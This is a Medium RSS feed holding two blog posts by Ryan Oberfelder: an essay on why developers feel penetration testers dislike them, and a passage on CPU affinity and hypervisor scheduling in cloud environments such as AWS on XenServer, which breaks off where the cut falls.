<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ryan Oberfelder on Medium]]></title>
        <description><![CDATA[Stories by Ryan Oberfelder on Medium]]></description>
        <link>https://medium.com/@ryoberfelder?source=rss-9311c0ebce26------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iNrftNLrDtCDSYwm756AMQ.jpeg</url>
            <title>Stories by Ryan Oberfelder on Medium</title>
            <link>https://medium.com/@ryoberfelder?source=rss-9311c0ebce26------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:34:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ryoberfelder/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why Does the Penetration Testing Team Hate Me?]]></title>
            <link>https://medium.com/@ryoberfelder/why-does-the-penetration-testing-team-hate-me-67a981c5e10c?source=rss-9311c0ebce26------2</link>
            <guid isPermaLink="false">https://medium.com/p/67a981c5e10c</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[slice-of-life]]></category>
            <category><![CDATA[development]]></category>
            <dc:creator><![CDATA[Ryan Oberfelder]]></dc:creator>
            <pubDate>Sun, 21 Jul 2019 15:35:26 GMT</pubDate>
            <atom:updated>2019-07-21T15:35:26.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iQs04qFE-y4cAqkUrXURdw.jpeg" /></figure><p>They don’t. <br> <br> Well. Errrr… Some do… Most don’t though! Without developers, penetration testers would not only be out of a job, but also miss out on a plethora of terrible, amazing, and hilarious stories to post all over Twitter and Reddit. No… penetration testers can’t have that…</p><p>Fine. Then why do developers THINK penetration testers hate them?<br> <br> It’s complicated. Usually, it comes down to how developers seem to interact with penetration testers. Penetration tests can use up a developer’s time to assist with testing. Once a test is done, findings are generated. Findings take time away from feature development, the main metric used for performance reviews. Findings can also be used to make judgments on the quality of the code-base, the holistic application, or even the developers themselves. Now, Security should be considered a feature, not an afterthought. Developing value judgments of people based on test findings is also not constructive. Both true, and yet these situations still happen. If not altered, these realities tend to make developers defensive about opening their app up to penetration testers.</p><p>Developers often approach penetration testers with a defensive mindset. This breeds a whole host of defensive questions, assuming penetration testers are malicious and callous before the conversation even begins. A good penetration tester shouldn’t be out to get a development team though, so I’ve compiled a list of the top ten questions that developers seem to have for penetration testers.</p><p><em>Why is the penetration testing team testing my app? We didn’t ask to be tested?</em></p><p>There are many reasons that a penetration test might begin on your application.</p><ol><li>Maybe someone in your leadership chain wants it?</li><li>Maybe someone in your security org wants it?</li><li>Maybe an internal auditor wants it?</li><li>Maybe an external auditor wants it?</li><li>Maybe the penetration testers themselves determined that your app was a risk and thought it should be tested.</li></ol><p>In the end, a penetration testing team wants to use their skills in identifying vulnerabilities to draw attention to issues needing fixing. They want to make the company more secure and someone has determined that your application should be prioritized. Why it’s prioritized comes down to the data that flows through the applications, who use the applications, and exceptions that surround the security of the application. None of that has anything to do with anything the developers did or didn’t do.</p><p><em>Why is the penetration team saying my code is crap?</em></p><p>They’re not… Probably…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nE-COBfZ33IzppceSk30aA.jpeg" /></figure><p>A penetration tester that finds a vulnerability stemming from your code is saying the application has a vulnerability and nothing more. Any good penetration testing team wants to fix vulnerabilities by working with developers and will never blame a team or a team member for the findings in their app. Everyone makes mistakes and applications are complicated products. Beyond that, a pentester’s job is to find issues in an application. It’s valuable to design an application that doesn’t have vulnerabilities but pentesters specialize in finding vulnerabilities; they’re bound to find things a developer might miss. If a penteser doesn’t find vulnerabilities because you found them all before they tested the application, perhaps you should be on the penetration testing team instead? That aside, penetration testing is a service like spell-check. Their job is to protect you as a developer, your team, and your company from releasing insecure code into the wild.</p><p>If a penetration tester ever does never shame you for vulnerabilities, kick them in the shin a couple of times for good measure.</p><p><em>Why is the penetration testing team giving me this finding? They know we can’t fix it…</em></p><p>Knowing a vulnerability can’t be reasonably fixed by the development team in the required remediation window doesn’t mean pentesters shouldn’t report the vulnerability anyway. Security organizations and businesses of any size should have the ability to record both vulnerabilities and the risks of those vulnerabilities. The function of any penetration testing, application security, vulnerability management, or red team is to identify risks and it’s severities. It’s then the job of business and security management to weigh the risks and costs against the needs of the business. Knowing a vulnerability’s associated risks allows companies to account from them, resulting in informed decisions about their products and services.</p><p><em>Why doesn’t the penetration testing team help me with remediation?</em></p><p>Some penetration testing teams do assist with remediation. However, there are many ways to break up the overall responsibilities of a security team, remediation can actually be handled by other security teams as a way to allow specialization. An Information Security Officer can be both your security contact as well as your main go-to for security remediation assistance. This would allow a penetration testing team to be smaller or do more testing work since remediation can be time-consuming. To counter, a penetration testing team that finds the vulnerability could be more equipped to offer remediation advice they’re the vulnerability expert. Remember that a penetration testing team has their own job responsibilities and if remediation work isn’t part of them than any remediation assistance they offer takes time away from testing and securing other applications.<br> <br> Nevertheless, the team best able to remediate the code will always be the developers themselves.</p><p><em>Why does the penetration testing team bother reporting such minor security issues? Don’t they know it takes time from doing more important work?</em></p><p>First, let&#39;s add context by stating this question usually references low, and note level findings. These findings are the lower severity issues and thus represent the lowest severity level findings that penetration testers care about. The classic example of this comes from server version disclosures. A server version disclosure is when an application discloses the version of the dependencies used or even the version of the application itself. This can lead to the identification of a vulnerable server version that the application is running but then that would be a different finding, “Vulnerable Component Version”. So why is “Server Version Disclosure” a separate finding? There are at least two main reasons. One, the disclosure of a server version provides assurance of a version, meaning an attacker doesn’t need to try attacks or exploits designed to determine what the version is. An attacker is less likely to be detected by monitoring systems if they exploit the correct type of attack once rather than loudly, numerous times. Two, knowing a version can save time by having to brute force guess the version in some way.</p><p>There is value in reporting low and note severity issues since findings can come together to create an attack path with a severity greater than the sum of its parts. Beyond that, it’s a pentester’s responsibility to the company to note the entire threat landscape, not just the ones that are the most severe. If the development team truly does feel like the finding is either too difficult to fix or not worth fixing, they can always accept the risk of the finding being exploited. As long as the team comes to handles a risk, it’s up to the business to desire how to proceed.</p><p><em>Why was this employee/person testing our application?</em></p><p>First and foremost, the identifier of the finding in question has no bearing on the fact that the finding is there in the first place. It’s common to have developer teams ask why the identifier was attacking their application in the first place rather than focusing on the issue itself. Understandable. To know that your application was attacked by someone is scary but please understand that asking for their identity is not conducive to the matter at hand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9dI5P4tKuQZgJuWvndiiA.jpeg" /></figure><p>Both Bug Bounty and Responsible Disclosure programs are blessings to a busy penetration testing team trying to frantically test all the things. They allow more resources to come in to test where there simply are not enough testers. Both programs employ at will testers. It’s in a penetration testing team&#39;s best interest to handle their contributions with care. As such, A penetration testing team should never disclose the identity of the identifier to a developer. If we want to make a company secure, siccing a disgruntled dev team on a good samaritan either internally or externally is a good way to ensure that the identifier will never disclose findings to the penetration testing team again.<br> <br> As to why the person may have identified the vulnerability, there could be numerous contextual reasons. Maybe they’re a normal user and just had both the security knowledge and sense of responsibility to report the issue to whom it may concern. Maybe they’re a developer with security knowledge and a little curiosity that identified the issue during their poking around. Maybe it’s a tester in a bug bounty program and they identified an issue in your app to get a little pocket change. Regardless, WHY they are testing your application is less your concern and more of the security team’s concern. All a developer should worry about is working with us and the security team to fix the issue before it’s exploited. Don’t want a development team going after the desperately needed help.</p><p><em>Why doesn’t the penetration testing team set up a meeting? I don’t understand the findings in the report…</em></p><p>Maybe penetration testers will always set up summation meetings at your company. If so, this is certainly not the case everywhere. A lot of penetration testers will generate reports as this tends to be not only a good method of gathering all the needed information into one place but also as a stable record of what was identified, what were the conditions, and what occurred during testing. That said, meetings to understand the contents of the report are perfectly valid. They can highlight areas of a report that need more rework to better explain the topic in a language developers understand. It offers opportunities for a developer to give more context to findings allowing serveries to be altered or findings could even disappear entirely. Given the context and situational awareness, meetings can allow testers an opportunity to provide focused remediation and impact guidance for teams that proves invaluable for remediation and risk analysis efforts. <br> <br> Where developer meeting requests break down is when said developer requests a meeting but fails to read the report. This happens a lot in busy companies and it’s an inefficient use of a pentester’s time. What&#39;s worse is when the people that need to be in the meeting aren’t in the setup meeting. They then set up another meeting where the “needed people” are in the new meeting, only to discover that they actually need another group of “needed people” that aren’t in THIS meeting. No matter the meeting, No one will have read the report prior because why would they when you can just read them the report? Reading is hard…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*2unV_AgA8S9ccgvlmLa-pg.png" /></figure><p>Seriously though, reading reports can be time-consuming and not everyone has the time during the day to read before every meeting. That’s perfectly understandable. However, please remember that your penetration tester is a busy bee and their time is as precious as yours. They might be doing other tests, handing retest requests, scoping future engagements, or plenty of other actives depending on the team responsibilities. Often a company’s penetration testing team is smaller than the needed number to sufficiently cover the developers, teams, and applications that the company supports. That’s not to say that developers aren’t worked as hard. A broken application during peak utilization can feel like Armageddon and that weekend hotfix can destroy sanity faster than the monsters of Cosmic Horror. Simply consider that pentesters often deal with teams that may not be as responsible as yours and simply coming to a meeting prepared with questions based on the report really encourages a pentester to help you when they can. After all, a pentester might have spent way too long on a report to be healthy and reading it really goes a long way towards appreciating their effort. <br> <br> PLEASE HELP US!!! THE VAST MAJORITY OF REPORT GENERATION TOOLS ARE PRETTY TRASH… SAVE US FROM ETERNAL TORMENT…</p><p><em>Do we have to do this testing NOW? Our app is switching to a new account in 3 months. Can this testing wait till then?</em></p><p>Yes.<br> <br> No.<br> <br> Any more questions?<br> <br>Really, applications change all the time. If a penetration testing team waited for all the changes in an application to be finished, no application would ever be tested. Besides, it can be a good thing to test an application when it is undergoing massive change. While it can be hard to keep the application stable, if a finding is identified, it can be easier to incorporate the remediation into your development schedule during massive change. Any remediations that require architectural changes are going to be easier to incorporate.</p><p>But you’re right. If your application is undergoing massive change right now, perhaps test now and test the application again when done? Food for thought.</p><p><em>I don’t think this finding is a high, can we lower it to a medium?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*7dkpNE-jpdYE8AeLtf62MQ.jpeg" /></figure><p>Push back is not a bad thing. Developers often know and understand context missed by a penetration tester during testing and it might bring up a point that actually mitigates the issue. Penetration testers shouldn’t stick to their guns without reason and if the context provided by a developer holds, then reassess the severity with that context in mind. Ego should be left at the door and Logic should reign.<br> <br>However, know that asking for the severity to be lowered for a finding implies that a developer knows what that entails. Lowering the rating usually gives timeline extensions, giving a team more time to remediate the issue before the deadline. Lowering the rating usually means lower attention on the issue, meaning fewer people, and fewer IMPORTANT people will be pressuring them for remediation. Lowering the rating also implies the issue is less severe when it comes time for a team’s managers to do performance reviews.</p><p>For clarity, let&#39;s state it again. <strong>Neither findings nor severities should be used by managers to drive performance reviews</strong>. It promotes a toxic relationship with penetration testers and penetration tests that’s harmful to the overall security of the company.<br> <br> That said, two issues arise around asking to lower severities. First, developers will often ask about lowering the severity to both put penetration testers on the defense as well as make that the topic of conversation rather than discussing remediation plans. Remediation is the goal and continuously arguing the severity of a finding not only takes time away from explaining how to remediate the finding but also doesn’t change the fact that it’s STILL a finding. Second, developers will often argue hypothetical likelihoods of attack and ease of exploitation because accepting a reduced likelihood or ease reduces the severity and thus the burden on the developers. If the only goal of talking hypothetical likelihoods and mitigations is to lower the severity of the issue and not to provide true context, then a penetration tester shouldn’t lower the severities.</p><p>Penetration testers are hired by the company, not the developer. They owe it to the company to enforce those deadlines and requirements when the issue warrants it. Similarly, they also owe it to the company to not distract developers from feature development if developers do provide valid mitigating context.</p><p><em>This finding doesn’t belong to my team nor my app, Why are they saying it’s mine?</em></p><p>Penetration testers are not omniscient. The delineation between the functions various teams are responsible for may not be clear cut and it’s very helpful to point a penetration testing team in the right direction as needed.</p><p>Note that in a lot of cases, teams will say their not responsible because they don’t want to be stuck with the finding and the remediation work. Here is a sampling of the top 5 unhelpful “that’s not our problem” responses</p><ol><li>“No that&#39;s not our finding cause it’s not in our app.” ( 2 days before due)</li><li>“That&#39;s not our finding cause that&#39;s in a third party dependency” ( You use it in our app though…)</li><li>“No, that’s the responsibility of the DevOps/Application team, not us.” ( Someone’s got to fix it… Just pick someone.)</li><li>“No, that’s ”the responsibility of ‘that one developer’” ( The developer in question left the company a year ago.)</li><li>“No, that’s not our problem because we’re being decommissioned in 4 months” ( It’s still your problem until then.)</li></ol><p>What&#39;s more interesting is when the finding is in their application but somehow the remediation should be done by another team</p><ol><li>“NO, this finding should be remediated by this framework we use, not us.” (Yes, agreed. Until then, it&#39;s your responsibility to remediate it unless you get that team to take responsibility.)</li><li>“No, this finding should be remediated by the UI team, not us” ( Yes, output encoding for XSS would be good, but you should also be sanitizing your inputs on the backend…)</li><li>“No, this finding should be remediated by the Cloud team, not us” ( Yes, but until they agree it’s their responsibility, it’s still your app.)</li></ol><p>None of this is to say that pushing back about ownership is wrong. The team owns the system should remediate the system and if that’s not the identified team then that’s fine. However as a developer, you should have some idea who the right team should be and if you can point us in the right direction, we’re cool with asking them and getting the right people to work on it.</p><p>When it’s all said and done, your penetration testing team doesn’t hate you. However, if it ever seems like they do, here are the top five things you can do to become best friends with your penetration testing team no questions asked.</p><ol><li>Respect your penetration testing team’s time. They likely service a lot of development teams and using their time effectively makes everyone happy.</li><li>Please discuss how they can best give you results prior to testing. If it’s not through reports then tell them before they make the report. ( May still need a report for compliance reasons through…)</li><li>Argue wisely, logically and responsibly. Pushing back is valuable as long as your goal is securing your app and not ignoring the problems.</li><li>Understand that penetration testing is designed to identify issues in applications before their exploited, not shame or attack a development team in any way.</li><li>Ask respectful informed questions. Nothing makes a penetration testing team happier than seeing you’ve ingested their feedback, mulled it over, and come back with relevant questions about the issues at hand.</li></ol><p>If you can do all of this, It will go a long to towards making sure you and your penetration testing team never have a fight again.</p><p>Probably…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67a981c5e10c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CPU Affinity: Shooting Arrows into the Storm]]></title>
            <link>https://medium.com/@ryoberfelder/cpu-affinity-shooting-arrows-into-the-storm-d4fbeff81be3?source=rss-9311c0ebce26------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4fbeff81be3</guid>
            <category><![CDATA[cpu-affinity]]></category>
            <category><![CDATA[xenserver]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[respect]]></category>
            <category><![CDATA[operating-systems]]></category>
            <dc:creator><![CDATA[Ryan Oberfelder]]></dc:creator>
            <pubDate>Sat, 28 Apr 2018 12:20:31 GMT</pubDate>
            <atom:updated>2018-04-28T12:20:31.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KobWYXScavomN98DA80o_Q.jpeg" /></figure><p>Applications live and die by their response times. Google thrives on its map reduce search speed, Amazon on the provisioning speed of AWS resources, and Microsoft on the responsiveness of it’s Office Suite. However, increasing that speed efficiently is complicated.</p><p>In <a href="https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e"><em>CPU Affinity: Don’t eat soup with chopsticks</em></a>, we<em> </em>discussed the concept of CPU affinity and its potential to increase multi-programmed application execution speeds. Specifically, we studied process pinning, which forces the execution of a process on one CPU until otherwise changed. Simply put, suggesting any CPU affinity scheme without investigating the memory and performance requirements for your target application is just reckless. Some times, A CPU affinity application pattern supercharges performance, like with shared memory applications utilizing multithreading. Other times, utilizing CPU affinity results in minuscule performance gains; Long-running I/O intensive applications are such an example. Further, if an application consistently executes ephemeral threads, the hard CPU affinities could hoist work on busy CPUs; over-working these CPUs not only negatively affects application performance but also system performance as a whole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*n-O2fqxFXYRVdx1LUiOVLQ.png" /><figcaption>Simple Server model</figcaption></figure><p><em>CPU Affinity: Don’t eat soup with chopsticks</em> focused on processes executing within a standard consumer operating system, itself running on physical hardware. This model is our <em>Simple Server model</em>. Consumer applications like Microsoft Word or Google Chome often execute in such an environment. Applications request resources like computation time to memory pages, all of which is mediated by the operating system. The operating system then validates the request and executes hardware commands on the applications behalf. In the <em>Simple Server model</em> we focused on which CPU would execute which process? How much of the working set exists just prior to context switching back in? Is my application CPU or I/O intensive?</p><p>This model is too simplistic. Modern programmers produce a wide variety of services and applications. Users often expect services to perform responsively, project accessibility, and provide availability across the globe. Conversely, providers must design scalable applications that are structurally and fiscally responsive to demand, tolerant of failure, and most importantly, blazing fast. Now, what organizational concept could provide such infrastructure as a service? You know, where providers handle server infrastructure and hardware resources? Oh yeah, Cloud computing.</p><p>Cloud computing was actually intended to be the final topic in <a href="https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e"><em>CPU Affinity: Don’t eat soup with chopsticks</em></a>. Truthfully, the example I’d provided was based on a service I’d seen in the cloud. Cloud computing is so common nowadays, no responsible engineer would investigate the performance of such a service without mentioning its cloud computing aspect. Since I’m a responsible engineer, let me rectify that oversight now.</p><p>For those unfamiliar with cloud computing, I would like to direct you to Aditi Chaudry’s <a href="https://medium.com/@aditi.chaudhry92/what-is-cloud-computing-59d0d5570332">What is Cloud Computing</a> post. Aditi succinctly describes the value of cloud computing for both engineers and end users and it’s well worth the read. For our purposes though, Lets focus our attention on the infrastructure that provides access to the resources needed by our modern services.</p><p>Let’s say I’m a service provider looking for an infrastructure provider to host some some application that I have written. The application is just like the application described last time, a JavaScript/HTML website hosted via a node express backend. We use deployment technologies to start 9 processes each wrapped in a Systemd demon. 3 of these processes are producers. These producers are node express servers, load balanced on a singular server instance using Nginx, and these are listening for incoming requests through port 8080. The other 6 processes are consumers, focusing on CPU intensive calculations but also communicating over a network to both a Redis cluster and a database.</p><p>Every cloud provider worth their salt offers access to physical servers via their Infrastructure as a Service solution. At first glance, users could presume remotely accessed physical servers are the resource offered. This would be wrong.</p><p>Take Amazon for example. Looking at the different ec2 <a href="https://aws.amazon.com/ec2/instance-types/">instances types</a>, You’ll see under any instance type the number of cores an instance type will have. If you pay attention though, you’ll see that it’s vCPU, not CPU. That v stands for virtual and that’s because that’s not a real core. It’s a virtualized core.</p><p>What does that mean, visualized? Well, when your application starts up, it creates one or more processes. Those processes are going to be scheduled to execute on what the operating system perceives to be a real core. However, when that operating system tries to start a process on a core, it traps into a middleman called the hypervisor. The hypervisor mediates operating system requests, taking your processes and scheduling them on whichever physical core it determines best. Such mediation, isolates the operating system environment from physical CPUs. Our application only controls interactions with the operating system responsible for the application process. Since operating systems mediate hardware resources by design, forcing them to interact with logical resources is called virtualization. Thus a virtualized core is a logical representation of a physical core maintained by the hypervisor.</p><p>Actually, all cores, memory, and physical resources seen by our operating system environment are controlled by this hypervisor. The collection of logical resources plus the operating system executing on those resources together are called a virtual machine. Why bother creating such a virtualization environment though? Hypervisors control operating systems and therefore become yet another difficult piece of software to design. They place more layers between an application and the hardware, increasing hardware <a href="https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/boundaries/boundaries.html">boundary crossings</a> between user application processes, operating system processes, and hypervisor processes. Sometimes hardware can’t correctly support the hypervisor software and needs more hardware functionality to be designed by hardware suppliers. Hypervisors just seem like a solution looking for a problem.</p><p>Hypervisors create virtualization. They provide environment isolation, allowing operating systems to work without harming other virtual machines executing in the same Hypervisor environment. Hardware resources can be protected from greedy or malicious operating systems as necessary. Applications designed for one operating system may execute on any server running a hypervisor. Shared development and deployment environments, eliminate hardware specific bugs, better emulating production environments before a production deployment.</p><p>To understand the the true value of hypervisors, we must realize the vast majority of applications and services use a small percentage of a server’s CPU utilization. Servers are expensive and letting servers be idle is a massively inefficient use of limited resources. Thus, the main goal of hypervisors is allowing efficient resource utilization. Virtual servers can often share one large physical server, allowing a provider better resource utilization. Further, services can execute in bursts; sometimes, they can gobble CPU time and other times subsist on very little. Hypervisors can coordinate resources such that, at any given time, they take resources from resource ambivalent applications and give them to resource hungry applications. Its these virtualization and resource control techniques that allow cloud providers to efficiently utilize servers in ways that are impossible for the simple physical servers described in <a href="https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e"><em>CPU Affinity: Don’t eat soup with chopsticks</em></a><em>.</em></p><p>These utilization benefits filter down to cloud computing consumers in many ways. Since Hypervisors can track each virtual machine’s total CPU utilization, a cloud provider can determine exactly what percentage of total CPU utilization a virtual machine is using. With total CPU utilization track-able, it’s also billable; thus, a fixed cost becomes a cheap variable cost. This tracking and thus billing framework can extend to memory, disk space, and network utilization as well. This acts as a strong incentive to place services in the cloud.<br> <br> To make a cloud offering even more lucrative, providers often set restrictions on collective pCPU utilization. Often, virtual machines are capped at a certain percentage of total pCPU utilization over time depending on what “type” of virtual machine is requisitioned. The hypervisor must map process execution intervals on vCPUs to execution intervals on pCPUs, something that’s a business determination.</p><p>What’s all of this have to do with CPU affinity though? How does this change the efficiency of our node consumers and producers from our example? How does understanding the cloud infrastructure of Amazon, Azure, Google Cloud, Digital Ocean, and more change the affect of assigning CPU affinity to processes in the cloud? <br> <br> Think about this. When you change CPU affinity in a cloud environment what exactly are you pinning to?</p><p>CPU affinity is a controllable, per-process property, describing which processors the process may execute upon. The property is a control, offered within the scope of the operating system, and thus maps a process to processors seen by that operating system. Hypervisors only offer logical or virtual CPUs to operating systems, meaning CPU affinity maps processes to vCPUs. Those processes are then scheduled on physical CPUs as per the hypervisor’s discretion. The guest operating systems have no control over the pCPUs and nor should they.</p><p>Cloud providers maintain hypervisors partially to assure resource isolation, a need more important now than ever. On January 3rd, 2018, the world learned of operating system vulnerabilities CVE-2017–5753 and CVE-2017–5715, collectively known as Spectre. Processors have long executed diverging branch threads to improve latency if processor resources exist to support it; eventually, one execution thread is discarded leaving only one thread of execution recorded in the Reorder Buffer. This technique is called speculative execution and Spectre exploits this, allowing those discarded instructions to read restricted memory locations. Those memory locations could contain, names passwords, or propriety or customer data. And yes, this can affect hypervisors too.</p><p>Simply put, providers must refuse users access to a process’s pCPU affinities for safety. However, lets say we really want to optimize our cloud application via CPU affinity regardless. We’re already eating soup with chopsticks, might as well start shooting arrows into the storm. Maybe if we can tell the direction of the wind, we could course correct and hit our target, potentially aided rather then hindered by the wind.<br> <br> Well if we’re shooting arrows into the storm, we need to study how hypervisors work. Specifically, how much can you control the actual core your processes execute on? How much control do you have over memory paging? What about cached working sets?</p><p>Before we can answer any of that let’s answer a simpler question. What is executed by a hypervisor and for whom?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*cqP33B2Kp41jH25_5aVS9A.png" /><figcaption>Virtualized Server model</figcaption></figure><p>To answer, lets look at our <em>Virtualized Server model</em>. Feel free to take a while and let the diagram sink in. While initially complex, the <em>Virtualized Server model</em> actually is similar to the <em>Simple Server model</em> in 3 key ways. First, the hypervisor is just a special operating system, and therefore can act just like the operating system in the <em>Simple Server model</em>. Users may control one or multiple guest operating system environments, but they do not control the host operating system. Second, vCPUs are treated like processes within the hypervisor execution space; therefore, vCPUs are scheduled and allotted time quantum’s on pCPUs just like processes. Finally, a vCPU’s processes, from user applications to operating system functions, all execute per the benevolence of the host. In short, It’s a guest operating system’s vCPUs that execute on the hypervisor’s pCPUs.</p><p>So can we somehow influence our vCPUs execution patterns on pCPUs? To answer, we’ll explicitly define an environment scenario for our described node application. AWS offers the t2 family of instances and for our example web server we’re going to select a t2.xlarge. This offers 4 vCPU, 54 CPU Credits/hour, and 16 GB of memory. These are backed by Intel Xeon Processors; lets say our instance is backed by the 2.3 GHz Intel Xeon® E5–2686 v4 (Broadwell) processors, although it’s not clear if this is the case. While AWS has been looking into KVM for virtualization, lets assume that AWS is still using XenServer for their virtualization solutions. They’re well known for having specially edited XenServer deployments hosting their ec2 instances but again, we’ll assume they use some of the generic XenServer functions.</p><p>While it’s difficult to find the exact scheduling algorithm used by AWS in determining which process gets executed on which physical CPU, we’ll assume for argument that it’s something like the default algorithm for Xenserver.</p><p>Xenserver defaults to <a href="https://wiki.xen.org/wiki/Credit_Scheduler">https://wiki.xen.org/wiki/Credit_Scheduler</a> . To best understand this algorithm, lets formally explain guest operating systems, domains, caps, and weights. As illustrated in the <em>Virtualized Server model</em>, a guest operating system is an operating system executed by a host operating system. A domain or virtual machine is an isolated resource group that includes an operating system, vCPUs, allotted memory pages and any other resources isolatable to the functions of one operating system; a domain actually looks like the whole <em>Simple Server model</em> diagram in miniature. Domains have set pCPU utilization limits called caps. If a domain has a cap of 100, that domain may utilize up to 100% of one pCPU’s execution time. A weight on the other hand determines how much CPU utilization a given Domain may use relative to all other Domains. With the credit scheduler algorithm, Weights may be 1 to 65535 and default to 256.</p><p>Given our environment example, lets say that on our 2.3 GHz Intel Xeon® E5–2686 v4 physical server there exist two domains. Assuming two threads per physical core, there are 36 logical cores meaning a logical 3600% pCPU utilization maximum. With no imposed cap and equal weights of 256, a hypervisor using this scheme would equalize busy domains to about 1800% percent utilization each. Changing the weight of domain 1 to 512 means a fully utilized Domain 1 could use 2400% and our Domain 2 only 1200%.</p><p>Now that we understand how the XenServer is going to try and schedule processes, lets look at amazon specific descriptors. Because t2’s burstable performance is a slightly more complicated discussion, we’re going to start with a m3.large ec2 instance. While the exact meaning may differ by ec2 instance family, the m3 family determines CPU utilization from the number of vCPUs allotted. Each vCPU equals 1 hyperthread logical core. In other words, its half a core or pCPU. In in our 3600% from the E5–2686 Xeon, 1 vcpu = 100%.</p><p>T2 instances allow burstable performance though. So the metric important for CPU utilization is CPU credits. Translation of a credit to our known vCPU value is 1 credit equals one minute of a vcpu at 100%. Our t2.xlarge instance provides 54 credits an hour, meaning we get 1 vCPU running at 100% for 54 minutes straight every hour.</p><p>What is the mapping between pCPUs and vCPUs through? The default Xenserver Credit Scheduler algorithm specifies load balancing of vCPUs among pCPUs much like our Linux Completely Fair Scheduling algorithm from <a href="https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e"><em>CPU Affinity: Don’t eat soup with chopsticks</em></a>. If that’s how AWS pairs vCPUs to pCPUs, any benefit derived from round robin pinning processes to vCPUs is undone by the Xenserver credit scheduler. Pinning shared memory processes together may still offer benefit but we have no control over vCPU execution priority.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrYiRv415MNm9NEDrigWlQ.png" /><figcaption>Example Virtual Server</figcaption></figure><p>Lets say we have one pCPU p-A, running two vCPUs, v-A ane v-B. The v-A instance has process v-A1 and process v-A2 that share a lot of memory, while instance v-B is a higher Priority vCPU with high priority processes like v-B1. pCPU p-B is running the vCPU v-C, which is a vCPU we did not put much on because of our preference to push shared memory together. Refer to the <em>Example Virtualized Server</em> for a graphic of this example. We want to optimize v-A1 and v-A2 and we only control v-A and v-C. If v-B hogs p-A execution time, the effect of placing shared memory v-A1 and v-A2 together might be trumped by placing v-A2 instead on v-C and getting more execution time.</p><p>The Hypervisor and the actions of other guest operating systems are incontrollable and yet could inadvertently effect your CPU affinity pinning. What if another user is allotted space for a t2.xlarge ec2 instance on the same physical server as our example. This user has one huge process running on one vCPU utilizing the full 54 minutes of vCPU time per hour. Load balancing eventually results in placing our vCPU with shared memory processes with their vCPU on the came pCPU. Would the shared memory benefits overcome only getting around 6 minutes of execution time an hour?</p><p>This exactly is the largest problem with using CPU affinity pinning to optimize our node application in the cloud. Our 9 Systemd processes could be optimized within our system but it’s the Virtual machine itself that is being load balanced on the physical server, not our processes. Further, there are ways for a “malicious” virtual machine to execute processes in a sibling domain in such a pattern that makes tracking the best affinity nearly impossible. In the end the Hypervisor is in control and there is not much you can or should be able to do about that in the cloud.</p><p>And what about memory resources? <a href="https://medium.com/@ryoberfelder/cpu-affinity-dont-eat-soup-with-chopsticks-71bf0b59813e"><em>CPU Affinity: Don’t eat soup with chopsticks</em></a> effectively proclaims all CPU affinity efficiency challenges become memory and caching problems; so how do cloud providers handle memory and caching.<br> <br> XenServer and other hypervisors support the guest memory control technique called ballooning. Basically, the hypervisor starts its own process in the guest operating system. This process is simply responsible for requesting more memory from the guest operating system if other guest systems need memory, or process frees memory it has already claimed back to the guest OS. This allows dynamically changing the memory of Virtual Machines on the fly. That said, AWS offers virtual machines with set memory amounts. This means that the amount of memory acts just like a normal server to users in their virtual machines.</p><p>But can the guest operating system interact with the physical memory? If your answer was “Absolutely not!!!” then you’re catching on quick!</p><p>Guest operating systems request virtual memory pages and then expect a physical memory device to return a frame. However, the hypervisor actually traps this request and maps that virtual memory page to a shadow page table. This shadow page table is then mapped by the hypervisor to a physical page frame which is what the Guest OS will actually use. Yet another level of indirection, just like CPUS.</p><p>Caching too doesn’t change much. The E5–2686 Xeon v4 has L1 and L2 caches are per core and an L3 across all cores. However, since guest operating systems can not lock a vCPU to a pCPU the build up of a working set in cache memory can be taken away at the hypervisor’s discretion. It’s possible that other active vCPUs could be running on the same pCPU as our vCPU, thus prompting the hypervisor to select our vCPU and move it to a different pCPU. Its entirely up to the Hypervisor and out of our control.</p><p>Ok so CPUs, memory pages, and caching is much more controlled by hypervisors in the cloud environment. Is there still any possibility that we could still get value from CPU pinning?</p><p>Did you know there is a concept called <a href="https://support.citrix.com/article/CTX139714">vCPU pinning</a>? vCPU pinning… Virtual CPU pinning… The pinning of virtual cpus to a physical CPU…</p><p>Please let that sink in for a minute. It is 